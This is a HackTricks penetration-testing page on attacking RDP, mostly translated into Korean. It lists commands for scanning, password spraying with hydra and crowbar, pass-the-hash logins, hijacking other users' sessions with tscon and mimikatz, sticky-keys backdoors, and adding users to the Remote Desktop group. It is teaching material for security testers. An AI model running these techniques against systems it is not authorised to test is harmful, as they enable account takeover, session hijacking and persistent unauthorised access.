# 3389 - Pentesting RDP {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**취약점 평가 및 침투 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•œ μ¦‰μ‹œ μ‚¬μš© κ°€λŠ₯ν•œ μ„€μ •**. 20개 μ΄μƒμ˜ 도ꡬ 및 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ–΄λ””μ„œλ‚˜ 전체 침투 ν…ŒμŠ€νŠΈλ₯Ό μ‹€ν–‰ν•  수 있으며, μ΄λŠ” νƒμƒ‰μ—μ„œ 보고에 이λ₯΄κΈ°κΉŒμ§€ κ°€λŠ₯ν•©λ‹ˆλ‹€. μš°λ¦¬λŠ” 침투 ν…ŒμŠ€ν„°λ₯Ό λŒ€μ²΄ν•˜μ§€ μ•ŠμœΌλ©°, 그듀이 더 깊이 νŒŒκ³ λ“€κ³ , μ‰˜μ„ ν„°λœ¨λ¦¬κ³ , 재미λ₯Ό λŠλ‚„ 수 μžˆλ„λ‘ λ§žμΆ€ν˜• 도ꡬ, 탐지 및 μ•…μš© λͺ¨λ“ˆμ„ κ°œλ°œν•©λ‹ˆλ‹€. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## κΈ°λ³Έ 정보 Microsoftμ—μ„œ κ°œλ°œν•œ **원격 λ°μŠ€ν¬ν†± ν”„λ‘œν† μ½œ**(**RDP**)은 λ„€νŠΈμ›Œν¬λ₯Ό 톡해 컴퓨터 κ°„μ˜ κ·Έλž˜ν”½ μΈν„°νŽ˜μ΄μŠ€ 연결을 κ°€λŠ₯ν•˜κ²Œ ν•˜λ„λ‘ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ 연결을 μ„€μ •ν•˜κΈ° μœ„ν•΄ μ‚¬μš©μžλŠ” **RDP** ν΄λΌμ΄μ–ΈνŠΈ μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μ‚¬μš©ν•˜κ³ , λ™μ‹œμ— 원격 μ»΄ν“¨ν„°λŠ” **RDP** μ„œλ²„ μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μš΄μ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€. 이 섀정은 원격 μ»΄ν“¨ν„°μ˜ λ°μŠ€ν¬ν†± ν™˜κ²½μ„ μ›ν™œν•˜κ²Œ μ œμ–΄ν•˜κ³  μ ‘κ·Όν•  수 있게 ν•˜μ—¬, 본질적으둜 κ·Έ μΈν„°νŽ˜μ΄μŠ€λ₯Ό μ‚¬μš©μžμ˜ 둜컬 μž₯치둜 κ°€μ Έμ˜΅λ‹ˆλ‹€. **κΈ°λ³Έ 포트:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## μ—΄κ±° ### μžλ™ {% code overflow="wrap" %} ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` {% endcode %} μ‚¬μš© κ°€λŠ₯ν•œ μ•”ν˜Έν™” 및 DoS 취약성을 ν™•μΈν•˜κ³ (μ„œλΉ„μŠ€μ— DoSλ₯Ό μœ λ°œν•˜μ§€ μ•ŠμŒ) NTLM Windows 정보(버전)λ₯Ό μ–»μŠ΅λ‹ˆλ‹€. ### [무차별 λŒ€μž… 곡격](../generic-methodologies-and-resources/brute-force.md#rdp) **μ£Όμ˜ν•˜μ„Έμš”, 계정이 잠길 수 μžˆμŠ΅λ‹ˆλ‹€** ### **λΉ„λ°€λ²ˆν˜Έ μŠ€ν”„λ ˆμ΄ 곡격** **μ£Όμ˜ν•˜μ„Έμš”, 계정이 잠길 수 μžˆμŠ΅λ‹ˆλ‹€** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### μ•Œλ €μ§„ 자격 증λͺ…/ν•΄μ‹œλ‘œ μ—°κ²°ν•˜κΈ° ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### RDP μ„œλΉ„μŠ€μ— λŒ€ν•œ μ•Œλ €μ§„ 자격 증λͺ… 확인 impacket의 rdp\_check.pyλ₯Ό μ‚¬μš©ν•˜λ©΄ 일뢀 자격 증λͺ…이 RDP μ„œλΉ„μŠ€μ— λŒ€ν•΄ μœ νš¨ν•œμ§€ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: ```bash rdp_check /:@ ```
**취약점 평가 및 침투 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•œ μ¦‰μ‹œ μ‚¬μš© κ°€λŠ₯ν•œ μ„€μ •**. 20개 μ΄μƒμ˜ 도ꡬ 및 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ–΄λ””μ„œλ‚˜ 전체 침투 ν…ŒμŠ€νŠΈλ₯Ό μ‹€ν–‰ν•˜μ„Έμš”. μš°λ¦¬λŠ” 침투 ν…ŒμŠ€ν„°λ₯Ό λŒ€μ²΄ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€ - 그듀이 더 깊이 νŒŒκ³ λ“€κ³ , μ‰˜μ„ ν„°λœ¨λ¦¬κ³ , 재미λ₯Ό λŠλ‚„ 수 μžˆλ„λ‘ λ§žμΆ€ν˜• 도ꡬ, 탐지 및 μ•…μš© λͺ¨λ“ˆμ„ κ°œλ°œν•©λ‹ˆλ‹€. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **곡격** ### μ„Έμ…˜ νƒˆμ·¨ **SYSTEM κΆŒν•œ**으둜 **μ–΄λ–€ μ‚¬μš©μžμ— μ˜ν•΄μ„œλ“  μ—΄λ¦° RDP μ„Έμ…˜μ—** μ ‘κ·Όν•  수 있으며, μ†Œμœ μžμ˜ λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•Œ ν•„μš”κ°€ μ—†μŠ΅λ‹ˆλ‹€. **μ—΄λ¦° μ„Έμ…˜ κ°€μ Έμ˜€κΈ°:** ``` query user ``` **μ„ νƒν•œ μ„Έμ…˜μ— λŒ€ν•œ μ ‘κ·Ό** ```bash tscon /dest: ``` 이제 μ„ νƒν•œ RDP μ„Έμ…˜μ— λ“€μ–΄κ°€κ²Œ 되며, Windows 도ꡬ와 κΈ°λŠ₯λ§Œμ„ μ‚¬μš©ν•˜μ—¬ μ‚¬μš©μžλ₯Ό κ°€μž₯ν•˜κ²Œ λ©λ‹ˆλ‹€. **μ€‘μš”**: ν™œμ„± RDP μ„Έμ…˜μ— μ ‘κ·Όν•˜λ©΄ ν•΄λ‹Ή μ„Έμ…˜μ„ μ‚¬μš© 쀑인 μ‚¬μš©μžκ°€ κ°•μ œλ‘œ λ‘œκ·Έμ•„μ›ƒλ©λ‹ˆλ‹€. ν”„λ‘œμ„ΈμŠ€λ₯Ό λ€ν”„ν•˜μ—¬ λΉ„λ°€λ²ˆν˜Έλ₯Ό 얻을 수 μžˆμ§€λ§Œ, 이 방법은 훨씬 λΉ λ₯΄λ©° μ‚¬μš©μžμ˜ 가상 λ°μŠ€ν¬νƒ‘κ³Ό μƒν˜Έμž‘μš©ν•  수 있게 ν•΄μ€λ‹ˆλ‹€ (λΉ„λ°€λ²ˆν˜Έκ°€ λ””μŠ€ν¬μ— μ €μž₯λ˜μ§€ μ•Šμ€ λ©”λͺ¨μž₯, λ‹€λ₯Έ λ¨Έμ‹ μ—μ„œ μ—΄λ¦° λ‹€λ₯Έ RDP μ„Έμ…˜ λ“±...). #### **Mimikatz** 이 μž‘μ—…μ„ μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄ mimikatzλ₯Ό μ‚¬μš©ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman 이 κΈ°μˆ μ„ **stickykeys** λ˜λŠ” **utilman**κ³Ό κ²°ν•©ν•˜λ©΄ μ–Έμ œλ“ μ§€ 관리 CMD와 λͺ¨λ“  RDP μ„Έμ…˜μ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 기술 쀑 ν•˜λ‚˜λ‘œ 백도어가 μ„€μ •λœ RDPλ₯Ό 검색할 수 μžˆμŠ΅λ‹ˆλ‹€: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection λ‹€λ₯Έ λ„λ©”μΈμ—μ„œ λ˜λŠ” **더 λ‚˜μ€ κΆŒν•œμœΌλ‘œ RDPλ₯Ό 톡해 λ‘œκ·ΈμΈν•œ** μ‚¬μš©μžκ°€ **당신이 κ΄€λ¦¬μž**인 PC에 μ ‘μ†ν•˜λ©΄, 그의 **RDP μ„Έμ…˜ ν”„λ‘œμ„ΈμŠ€**에 λ‹Ήμ‹ μ˜ λΉ„μ½˜μ„ **μ£Όμž…**ν•˜κ³  그둜 행동할 수 μžˆμŠ΅λ‹ˆλ‹€: {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) {% endcontent-ref %} ### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## Automatic Tools * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn**λŠ” Microsoft Windows μ»΄ν“¨ν„°μ—μ„œ **Shadow** 곡격을 μžλ™ν™”ν•˜κΈ° μœ„ν•΄ 주둜 μ„€κ³„λœ Powershell둜 μƒμ„±λœ 포슀트 μ΅μŠ€ν”Œλ‘œμž‡ ν”„λ ˆμž„μ›Œν¬μž…λ‹ˆλ‹€. 이 취약점(λ§ˆμ΄ν¬λ‘œμ†Œν”„νŠΈμ—μ„œ κΈ°λŠ₯으둜 λ‚˜μ—΄λ¨)은 원격 κ³΅κ²©μžκ°€ **ν”Όν•΄μžμ˜ λ™μ˜ 없이 그의 λ°μŠ€ν¬νƒ‘μ„ λ³Ό 수 있게** ν•˜λ©°, 심지어 운영 체제 자체의 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ ν•„μš”μ— 따라 이λ₯Ό μ œμ–΄ν•  수 있게 ν•©λ‹ˆλ‹€. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * λͺ…λ Ήμ€„μ—μ„œ μžλ™ν™”λœ λ°©μ‹μœΌλ‘œ λ§ˆμš°μŠ€μ™€ ν‚€λ³΄λ“œ μ œμ–΄ * λͺ…λ Ήμ€„μ—μ„œ μžλ™ν™”λœ λ°©μ‹μœΌλ‘œ ν΄λ¦½λ³΄λ“œ μ œμ–΄ * RDPλ₯Ό 톡해 λŒ€μƒμ— λ„€νŠΈμ›Œν¬ 톡신을 μ „λ‹¬ν•˜λŠ” SOCKS ν”„λ‘μ‹œ ν΄λΌμ΄μ–ΈνŠΈμ—μ„œ 생성 * νŒŒμΌμ„ μ—…λ‘œλ“œν•˜μ§€ μ•Šκ³ λ„ λŒ€μƒμ—μ„œ μž„μ˜μ˜ SHELL 및 PowerShell λͺ…λ Ή μ‹€ν–‰ * 파일 전솑이 λŒ€μƒμ—μ„œ λΉ„ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄λ„ λŒ€μƒμ— νŒŒμΌμ„ μ—…λ‘œλ“œ 및 λ‹€μš΄λ‘œλ“œ ## HackTricks Automatic Commands ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. https://book.hacktricks.xyz/pentesting/pentesting-rdp Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ```
**취약점 평가 및 침투 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•œ μ¦‰μ‹œ μ‚¬μš© κ°€λŠ₯ν•œ μ„€μ •**. 20개 μ΄μƒμ˜ 도ꡬ 및 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ–΄λ””μ„œλ‚˜ 전체 침투 ν…ŒμŠ€νŠΈλ₯Ό μ‹€ν–‰ν•˜μ„Έμš”. μš°λ¦¬λŠ” 침투 ν…ŒμŠ€ν„°λ₯Ό λŒ€μ²΄ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€ - μš°λ¦¬λŠ” 그듀이 더 깊이 νŒŒκ³ λ“€κ³ , μ‰˜μ„ ν„°λœ¨λ¦¬κ³ , 재미λ₯Ό λŠλ‚„ 수 μžˆλ„λ‘ λ§žμΆ€ν˜• 도ꡬ, 탐지 및 μ•…μš© λͺ¨λ“ˆμ„ κ°œλ°œν•©λ‹ˆλ‹€. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}